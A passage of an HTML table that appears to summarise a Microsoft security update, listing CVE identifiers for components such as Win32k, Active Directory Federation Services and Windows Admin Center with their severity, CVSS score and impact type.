  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
